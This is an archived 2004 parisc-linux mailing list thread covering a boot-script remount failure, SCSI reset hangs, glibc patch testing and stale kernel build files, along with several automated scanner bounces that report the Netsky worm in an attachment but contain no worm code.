NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:42 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: carlos@baldric.uwo.ca  Tue Mar 30 23:43:41 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5876C4834
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 30 Mar 2004 23:43:41 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1B8ZPD-0006k2-00 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 31 Mar 2004 01:40:55 -0500
Content-Disposition: inline
In-Reply-To: <20040331063632.GB21909@baldric.uwo.ca>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (37% Sync Ratio [====......])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 31 Mar 2004 06:43:41 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21252

On Wed, Mar 31, 2004 at 01:36:32AM -0500, Carlos O'Donell wrote:
> So I rebooted to test my signal fixes, and I find that I can't boot my
> box anymore. It seems that /etc/rcS.d/S10checkroot.sh was no longer
> doing it's job of remounting / (LABEL=ROOT) rw. I mean it wasn't as if
> it didn't try, the kernel kept saying that I should specify a file
> system type.
> 
> It's not fun when this happens, because you have to boot some sort of
> rescue disk, and hack /etc/rcS.d/S10checkroot.sh!
> 
> The following was required to get my box back up... I don't think it's
> necc, but nor do I understand what's going on here. Is this part of
> those mount/remount changes I saw? :)
> 
> I think I might submit this to 'initscripts' as a "robustifying" patch.

Looks like they know....

http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=239735

c.




From - Thu Nov 08 21:31:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting remounting and S10checkroot.sh,
	the saga of changes to how mount works...
Date: Wed, 31 Mar 2004 13:15:13 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <20040331121513.GN7709@parcelfarce.linux.theplanet.co.uk>
References: <20040331063632.GB21909@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623323 7496 80.91.229.3 (22 Nov 2014 02:28:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: willy@www.linux.org.uk  Wed Mar 31 05:15:15 2004
Return-Path: <willy@www.linux.org.uk>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 06BCE49A5
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 31 Mar 2004 05:15:15 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1B8ecj-00086f-LI; Wed, 31 Mar 2004 13:15:13 +0100
Content-Disposition: inline
In-Reply-To: <20040331063632.GB21909@baldric.uwo.ca>
User-Agent: Mutt/1.4.1i
Original-Sender: <willy@www.linux.org.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 31 Mar 2004 12:15:15 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21253

On Wed, Mar 31, 2004 at 01:36:32AM -0500, Carlos O'Donell wrote:
> So I rebooted to test my signal fixes, and I find that I can't boot my
> box anymore. It seems that /etc/rcS.d/S10checkroot.sh was no longer

This is what happens when you don't keep up with the latest CVS version ;-)
Fixed in our kernel on Monday:

http://lists.parisc-linux.org/pipermail/parisc-linux-cvs/2004-March/033952.html

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain


From - Thu Nov 08 21:31:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Net Spamu" <ktototam1@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Critical: server hangs because of scsi resets
Date: Wed, 31 Mar 2004 16:03:55 +0000
Lines: 44
Approved: news@gmane.org
Message-ID: <BAY2-F647JHYJwnF1UG0003811d@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
X-Trace: ger.gmane.org 1416623323 7498 80.91.229.3 (22 Nov 2014 02:28:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:43 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: ktototam1@hotmail.com  Wed Mar 31 09:03:56 2004
Return-Path: <ktototam1@hotmail.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (bay2-f64.bay2.hotmail.com [65.54.247.64])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4DFE54856
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 31 Mar 2004 09:03:56 -0700 (MST)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	Wed, 31 Mar 2004 08:03:55 -0800
Original-Received: from 212.93.96.73 by by2fd.bay2.hotmail.msn.com with HTTP;
	Wed, 31 Mar 2004 16:03:55 GMT
X-Originating-IP: [212.93.96.73]
X-Originating-Email: [ktototam1@hotmail.com]
X-Sender: ktototam1@hotmail.com
X-OriginalArrivalTime: 31 Mar 2004 16:03:55.0693 (UTC)
	FILETIME=[C4E1E5D0:01C41739]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 31 Mar 2004 16:03:56 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21254

Hi,

I see the following on my console.

SCSI host 1 abort (pid 1207191) timed out - resetting
SCSI bus is being reset for host 1 channel 0.
ncr53c8xx_reset: pid=1207191 reset_flags=2 serial_number=1207192
serial_number_at_timeout=1207192
SCSI host 1 abort (pid 1207201) timed out - resetting
SCSI bus is being reset for host 1 channel 0.

The system hangs because of the resets. The problem repeats time by time.

I run K210 under linux-2.4.23-pa5. The problem appears on different scsi
controllers, so I hope there are neither controller nor disk problems. This
are current drivers from /var/log/messages.

kernel: loop: loaded (max 8 devices)
kernel: Found i82596 at 0xffd07000, IRQ 87
kernel: eth0: 82596 at 0xffd07000, 08 00 09 DA 44 88 IRQ 87.
kernel: 82596.c $Revision: 1.32 $
kernel: SCSI subsystem driver Revision: 1.00
kernel: zalon_scsi_callback: Zalon vers field is 0x1, IRQ 35
kernel: ncr53c8xx: 53c720 detected
kernel: ncr53c720-0: ID 7, Fast-10, Parity Checking, Differential
kernel: zalon_scsi_callback: Zalon vers field is 0x1, IRQ 36
kernel: ncr53c8xx: 53c720 detected
kernel: ncr53c720-1: ID 7, Fast-10, Parity Checking, Differential
kernel: scsi0 : ncr53c8xx-3.4.3b-20010512
kernel: scsi1 : ncr53c8xx-3.4.3b-20010512

Can it be a bad driver problem? I use Linux Software RAID, is it possible to
tune some parameters there?

Many thanks in advance for any help!

BR,
Dub

_________________________________________________________________
Help STOP SPAM with the new MSN 8 and get 2 months FREE*  
http://join.msn.com/?page=features/junkmail



From - Thu Nov 08 21:31:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <Administrator@s15113731.rootmaster.info>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [MailServer Notification]To Sender virus found and
	action taken.
Date: Thu, 1 Apr 2004 01:22:03 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <127c01c41776$f9ef0ef0$fc01a8c0@muc.nccconsulting.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623323 7500 80.91.229.3 (22 Nov 2014 02:28:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:43 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: administrator@ncc-consulting.de  Wed Mar 31 16:23:57 2004
Return-Path: <administrator@ncc-consulting.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from s15113731.rootmaster.info (ncc-experience.de [217.160.143.122])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5D52F4873
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 31 Mar 2004 16:23:56 -0700 (MST)
Original-Received: from mailserver.muc.ncc-consulting.de (pD9E88E6C.dip0.t-ipconnect.de
	[217.232.142.108])
	by s15113731.rootmaster.info (8.11.6/8.11.6) with ESMTP id i2VNNso15257
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 1 Apr 2004 01:23:54 +0200
Original-Received: from mail pickup service by mailserver.muc.ncc-consulting.de with
	Microsoft SMTPSVC; Thu, 1 Apr 2004 01:22:04 +0200
thread-index: AcQXdvnv9iRCm+iMToWBX3u1TKU/3A==
Thread-Topic: [MailServer Notification]To Sender virus found and action taken.
Original-Sender: <Administrator@s15113731.rootmaster.info>
X-Mailer: Microsoft CDO for Exchange 2000
Content-Class: urn:content-classes:message
Importance: normal
Priority: normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-OriginalArrivalTime: 31 Mar 2004 23:22:04.0202 (UTC)
	FILETIME=[FA0E08A0:01C41776]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 31 Mar 2004 23:23:57 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21255

ScanMail for Microsoft Exchange has detected virus-infected attachment(s).

Sender = parisc-linux@lists.parisc-linux.org
Recipient(s) = Evangelos Kopanakis
Subject = Re: Encrypted Mail
Scanning time = 4/1/2004 1:22:03 AM
Engine/Pattern = 6.860-1001/1.845.00

Action on virus found:
The attachment readme.zip contains WORM_NETSKY.P virus. ScanMail has Passed it. 

Warning to sender! 
A Virus was found in an Mail you send to us. 
Please check your System!


From - Thu Nov 08 21:31:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <Administrator@s15113731.rootmaster.info>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [MailServer Notification]To Sender virus found and
	action taken.
Date: Thu, 1 Apr 2004 05:21:07 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <133001c41798$5f8fbd60$fc01a8c0@muc.nccconsulting.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623324 7504 80.91.229.3 (22 Nov 2014 02:28:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:44 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: administrator@ncc-consulting.de  Wed Mar 31 20:21:36 2004
Return-Path: <administrator@ncc-consulting.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from s15113731.rootmaster.info (ncc-experience.de [217.160.143.122])
	by dsl2.external.hp.com (Postfix) with ESMTP id 61BB44873
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 31 Mar 2004 20:21:35 -0700 (MST)
Original-Received: from mailserver.muc.ncc-consulting.de (pD9E88E6C.dip0.t-ipconnect.de
	[217.232.142.108])
	by s15113731.rootmaster.info (8.11.6/8.11.6) with ESMTP id i313LXo09243
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 1 Apr 2004 05:21:34 +0200
Original-Received: from mail pickup service by mailserver.muc.ncc-consulting.de with
	Microsoft SMTPSVC; Thu, 1 Apr 2004 05:21:08 +0200
thread-index: AcQXmF+P+X3tCDVHR6WQa7L0n2ejCQ==
Thread-Topic: [MailServer Notification]To Sender virus found and action taken.
Original-Sender: <Administrator@s15113731.rootmaster.info>
X-Mailer: Microsoft CDO for Exchange 2000
Content-Class: urn:content-classes:message
Importance: normal
Priority: normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-OriginalArrivalTime: 01 Apr 2004 03:21:08.0066 (UTC)
	FILETIME=[5FA9FC20:01C41798]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 01 Apr 2004 03:21:36 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21256

ScanMail for Microsoft Exchange has detected virus-infected attachment(s).

Sender = parisc-linux@lists.parisc-linux.org
Recipient(s) = Evangelos Kopanakis
Subject = Re: Encrypted Mail
Scanning time = 4/1/2004 5:21:06 AM
Engine/Pattern = 6.860-1001/1.845.00

Action on virus found:
The attachment readme.zip contains WORM_NETSKY.P virus. ScanMail has Passed it. 

Warning to sender! 
A Virus was found in an Mail you send to us. 
Please check your System!


From - Thu Nov 08 21:31:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: =?ISO-8859-1?Q?Re=3A=20=5Bparisc=2Dlinux=5D=20=09RE=3A=20New=20glibc=20patches=202004=2D03=2D08=2C=20fixes=20GLRO=20changes=2E?=
Date: Thu, 1 Apr 2004 17:14:18 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <40561E710000CF56@ocpmta2.freegates.net>
References: <20040323170638.GN5123@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623324 7506 80.91.229.3 (22 Nov 2014 02:28:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:44 +0000 (UTC)
Cc: James Morrison <ja2morri@csclub.uwaterloo.ca>,
	parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: soete.joel@tiscali.be  Thu Apr  1 08:35:04 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 68B054854
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  1 Apr 2004 08:35:04 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1B94DV-00068M-00; Thu, 01 Apr 2004 17:34:53 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Thu, 1 Apr 2004 17:14:18 +0200
In-Reply-To: <20040323170638.GN5123@baldric.uwo.ca>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 01 Apr 2004 15:35:04 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21257

Hello Carlos,

yes more delay ;) (we have to move desk and so on)

Never the less always same known errors with glibc cvs dated 2004 03 29.
But with very last gcc-3.3 installed, the feupdateenv patch is required (gcc
now refuse 'assignment of read-only member) 

hth,
    Joel



----------------------------------------------------------------------------------------
Tiscali ADSL: 35 /mois, la meilleure offre du march!
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:31:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] autogenerated programs
Date: Thu, 1 Apr 2004 22:23:13 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <20040401212313.GF16469@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623324 7508 80.91.229.3 (22 Nov 2014 02:28:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:44 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: willy@www.linux.org.uk  Thu Apr  1 14:23:15 2004
Return-Path: <willy@www.linux.org.uk>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 862A94A6B
	for <parisc-linux@parisc-linux.org>;
	Thu,  1 Apr 2004 14:23:15 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1B99eb-0006Rd-Uv
	for parisc-linux@parisc-linux.org; Thu, 01 Apr 2004 22:23:13 +0100
Content-Disposition: inline
User-Agent: Mutt/1.4.1i
Original-Sender: <willy@www.linux.org.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 01 Apr 2004 21:23:16 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21258


Those keeping up with the 2.6 CVS tree may have noticed CVS saying

? scripts/docproc
? scripts/fixdep
? scripts/split-include

This is not a missing .cvsignore.  What has happened is that these files
have moved into scripts/basic/ so make distclean will no longer remove them
(because they're not in the Makefile any more) and so they're orphaned.

All you have to do is

rm -f scripts/docproc scripts/fixdep scripts/split-include

and the problem will be gone.  Do not re-add them to .cvsignore, please ;-)

NB.  This is not an april fools.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain


From - Thu Nov 08 21:31:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <Administrator@s15113731.rootmaster.info>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [MailServer Notification]To Sender virus found and
	action taken.
Date: Fri, 2 Apr 2004 01:57:18 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <140501c41845$11401940$fc01a8c0@muc.nccconsulting.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623324 7512 80.91.229.3 (22 Nov 2014 02:28:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:44 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: administrator@ncc-consulting.de  Thu Apr  1 16:57:42 2004
Return-Path: <administrator@ncc-consulting.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from s15113731.rootmaster.info (ncc-experience.de [217.160.143.122])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1801C4923
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  1 Apr 2004 16:57:42 -0700 (MST)
Original-Received: from mailserver.muc.ncc-consulting.de (pD9E8847E.dip0.t-ipconnect.de
	[217.232.132.126])
	by s15113731.rootmaster.info (8.11.6/8.11.6) with ESMTP id i31Nveo23389
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 2 Apr 2004 01:57:40 +0200
Original-Received: from mail pickup service by mailserver.muc.ncc-consulting.de with
	Microsoft SMTPSVC; Fri, 2 Apr 2004 01:57:19 +0200
thread-index: AcQYRRDq+Nfq6zAfQn+KSoM6E+J5YA==
Thread-Topic: [MailServer Notification]To Sender virus found and action taken.
Original-Sender: <Administrator@s15113731.rootmaster.info>
X-Mailer: Microsoft CDO for Exchange 2000
Content-Class: urn:content-classes:message
Importance: normal
Priority: normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-OriginalArrivalTime: 01 Apr 2004 23:57:19.0538 (UTC)
	FILETIME=[114E7120:01C41845]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 01 Apr 2004 23:57:43 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21259

ScanMail for Microsoft Exchange has detected virus-infected attachment(s).

Sender = parisc-linux@lists.parisc-linux.org
Recipient(s) = Evangelos Kopanakis
Subject = Re: Encrypted Mail
Scanning time = 4/2/2004 1:57:17 AM
Engine/Pattern = 6.860-1001/1.847.00

Action on virus found:
The attachment readme.zip contains WORM_NETSKY.P virus. ScanMail has Passed it. 

Warning to sender! 
A Virus was found in an Mail you send to us. 
Please check your System!


From - Thu Nov 08 21:31:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <Administrator@s15113731.rootmaster.info>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [MailServer Notification]To Sender virus found and
	action taken.
Date: Fri, 2 Apr 2004 05:45:08 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <007b01c41864$e47e3890$fc01a8c0@muc.nccconsulting.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623325 7516 80.91.229.3 (22 Nov 2014 02:28:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:45 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: administrator@ncc-consulting.de  Thu Apr  1 20:45:48 2004
Return-Path: <administrator@ncc-consulting.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from s15113731.rootmaster.info (ncc-experience.de [217.160.143.122])
	by dsl2.external.hp.com (Postfix) with ESMTP id CE7A74857
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  1 Apr 2004 20:45:47 -0700 (MST)
Original-Received: from mailserver.muc.ncc-consulting.de (pD9E8847E.dip0.t-ipconnect.de
	[217.232.132.126])
	by s15113731.rootmaster.info (8.11.6/8.11.6) with ESMTP id i323jfo14951
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 2 Apr 2004 05:45:46 +0200
Original-Received: from mail pickup service by mailserver.muc.ncc-consulting.de with
	Microsoft SMTPSVC; Fri, 2 Apr 2004 05:45:08 +0200
thread-index: AcQYZOR+ARmvqUhLR7SZ6GfLAP26/A==
Thread-Topic: [MailServer Notification]To Sender virus found and action taken.
Original-Sender: <Administrator@s15113731.rootmaster.info>
X-Mailer: Microsoft CDO for Exchange 2000
Content-Class: urn:content-classes:message
Importance: normal
Priority: normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-OriginalArrivalTime: 02 Apr 2004 03:45:08.0452 (UTC)
	FILETIME=[E49D3240:01C41864]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 02 Apr 2004 03:45:48 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21260

ScanMail for Microsoft Exchange has detected virus-infected attachment(s).

Sender = parisc-linux@lists.parisc-linux.org
Recipient(s) = Evangelos Kopanakis
